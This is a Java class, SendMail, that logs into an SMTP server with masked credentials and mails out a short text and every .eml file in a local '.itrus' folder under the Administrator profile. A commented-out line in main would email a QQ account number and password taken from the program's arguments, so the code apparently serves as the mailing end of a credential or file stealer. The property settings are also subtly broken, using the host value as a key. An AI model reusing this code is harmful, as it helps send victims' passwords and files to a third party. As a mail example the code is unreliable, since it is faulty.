import java.io.File;
import java.io.FileInputStream;
import java.util.Properties;
import javax.mail.BodyPart;
import javax.mail.Message;
import javax.mail.Multipart;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeBodyPart;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMultipart;
public class SendMail {
private String host = "smtp******"; // smtp服務器
private String user = "l**********"; // 用戶名
private String pwd = "***************"; // 密碼
private String from = "********"; // 發件人地址
private String to = "**************"; // 收件人地址
private String subject = ""; // 郵件標題
public void setAddress(String from, String to, String subject) {
this.from = from;
this.to = to;
this.subject = subject;
}
public void send(File file) {
Properties props = new Properties();
props.setProperty(host, "true");
props.setProperty(host, host);
Session session = Session.getInstance(props);
session.setDebug(true);
// 已經用Outlook寫好郵件,就等待發送了,這樣的方式就不用代碼來寫複雜的郵件了
try {
Message msg = new MimeMessage(session, new FileInputStream(file));
// 發送郵件
Transport transport = session.getTransport("smtp");
// 連接服務器的郵箱
transport.connect(host, user, pwd);
// 把郵件發送出去
transport.sendMessage(msg, msg.getAllRecipients());
transport.close();
} catch (Exception e) {
// TODO: handle exception
e.printStackTrace();
}
}
public void send(String text) {
Properties props = new Properties();
// 設置發送郵件的郵件服務器的屬性(這裏使用網易的smtp服務器)
props.put(host, host);
// 需要經過授權,也就是有戶名和密碼的校驗,這樣才能通過驗證(一定要有這一條)
props.put(host, "true");
// 用剛剛設置好的props對象構建一個session
Session session = Session.getDefaultInstance(props);
// 有了這句便可以在發送郵件的過程中在console處顯示過程信息,供調試使
// 用(你可以在控制檯(console)上看到發送郵件的過程)
session.setDebug(true);
// 用session爲參數定義消息對象
// MimeMessage message = new MimeMessage(session);
try {
MimeMessage message = new MimeMessage(session);
// 加載發件人地址
message.setFrom(new InternetAddress(from));
// 加載收件人地址
message.addRecipient(Message.RecipientType.TO, new InternetAddress(
to));
// 加載標題
message.setSubject(subject);
// 向multipart對象中添加郵件的各個部分內容,包括文本內容和附件
Multipart multipart = new MimeMultipart();
// 設置郵件的文本內容
BodyPart contentPart = new MimeBodyPart();
contentPart.setText(text);
multipart.addBodyPart(contentPart);
// 添加附件
// BodyPart messageBodyPart = new MimeBodyPart();
// DataSource source = new FileDataSource(affix);
// 添加附件的內容
// messageBodyPart.setDataHandler(new DataHandler(source));
// 添加附件的標題
// 這裏很重要,通過下面的Base64編碼的轉換可以保證你的中文附件標題名在發送時不會變成亂碼
/*
* sun.misc.BASE64Encoder enc = new sun.misc.BASE64Encoder();
* messageBodyPart.setFileName("=?GBK?B?"+
* enc.encode(affixName.getBytes()) + "?=");
* multipart.addBodyPart(messageBodyPart);
*/
// 將multipart對象放到message中
message.setContent(multipart);
// 保存郵件
message.saveChanges();
// 發送郵件
Transport transport = session.getTransport("smtp");
// 連接服務器的郵箱
transport.connect(host, user, pwd);
// 把郵件發送出去
transport.sendMessage(message, message.getAllRecipients());
transport.close();
System.out.println("發送成功!");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
SendMail cn = new SendMail();
// 設置發件人地址、收件人地址和郵件標題
cn.setAddress("************n", "########",
"源代碼=-============");
cn.send("teset");
// cn.send("QQ:"+args[0]+"\tPWD:"+args[1]);
File dir = new File("C:/Documents and Settings/Administrator/.itrus");
for (File emlFile : dir.listFiles()) {
if (emlFile.getName().endsWith("eml")) {
cn.send(emlFile);
}
}
}
}